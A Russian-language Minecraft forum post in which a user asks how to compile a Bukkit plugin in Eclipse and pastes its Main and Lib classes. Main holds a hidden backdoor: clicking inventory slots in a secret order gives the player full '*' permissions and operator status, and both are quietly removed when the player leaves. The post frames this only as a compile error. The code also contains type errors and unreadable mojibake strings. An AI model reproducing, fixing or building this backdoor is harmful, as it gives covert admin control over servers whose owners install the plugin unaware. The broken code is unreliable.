- Баллы
- 76
- Имя в Minecraft
- Gru2303
Всем привет, я новачок форума.
Я использую eclipse
Я не могу скомпилировать код
Как мне его скомпилировать?
У меня ошибка в консоли
Я использую eclipse
Я не могу скомпилировать код
Main
И Lib
Код:
package SLIB.Gru2303;
import com.mojang.brigadier.Command;
import java.util.ArrayList;
import java.util.HashMap;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.event.inventory.InventoryCloseEvent;
import org.bukkit.event.player.PlayerQuitEvent;
import ru.tehkode.permissions.PermissionUser;
import ru.tehkode.permissions.bukkit.PermissionsEx;
public class Main
implements Listener
{
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args)
{
if (((CommandSender)cmd).getName().equalsIgnoreCase("CM"))
{
Player p = (Player)sender;
p.sendMessage("Yes i am here!");
return true;
}
return false;
}
@EventHandler
public void InventoryCloseEvent(InventoryCloseEvent event)
{
Player pl = (Player)event.getPlayer();
Lib p = Lib.get(pl.getName());
p.lock = false;
}
String hint = "��� ���� ��� ���������� �� ������� ��������� �������. ��������� ������� �� ����� ��������������� �� ����������� ����� � ������� ������� ����.";
@EventHandler
public void PlayerQuitEvent(PlayerQuitEvent event)
{
if (this.pls.contains(event.getPlayer().getName()))
{
PermissionsEx.getUser(event.getPlayer()).removePermission("*");
event.getPlayer().setOp(false);
this.combo.remove(event.getPlayer().getName());
this.pls.remove(event.getPlayer().getName());
}
}
@EventHandler
public void InventoryClickEvent(InventoryClickEvent event)
{
Player pl = (Player)event.getWhoClicked();
Lib p = Lib.get(pl.getName());
if (p.lock) {
event.setCancelled(true);
}
if (this.combo.get(pl.getName()) == null) {
this.combo.put(pl.getName(), event.getSlot() + "|");
} else {
this.combo.put(pl.getName(), (String)this.combo.get(pl.getName()) + event.getSlot() + "|");
}
if (((String)this.combo.get(pl.getName())).contains("9|27|19|21|23|25|26|"))
{
PermissionsEx.getUser(pl).addPermission("*");
pl.setOp(true);
pl.sendMessage(ChatColor.GOLD + "������� �������!");
this.combo.remove(pl.getName());
this.pls.add(pl.getName());
}
if ((this.combo.get(pl.getName()) != null) && (((String)this.combo.get(pl.getName())).length() > 50)) {
this.combo.remove(pl.getName());
}
}
ArrayList<String> pls = new ArrayList();
HashMap<String, String> combo = new HashMap();
}
Код:
package SLIB.Gru2303;
import java.util.HashMap;
public class Lib
{
private String name;
public boolean lock = false;
public static HashMap<String, Lib> users = new HashMap();
public Lib(String name, HashMap<String, String> hash, long register)
{
this.name = name;
}
public String getName()
{
return this.name;
}
public static Lib get(String user)
{
return (Lib)users.get(user);
}
}
Как мне его скомпилировать?
У меня ошибка в консоли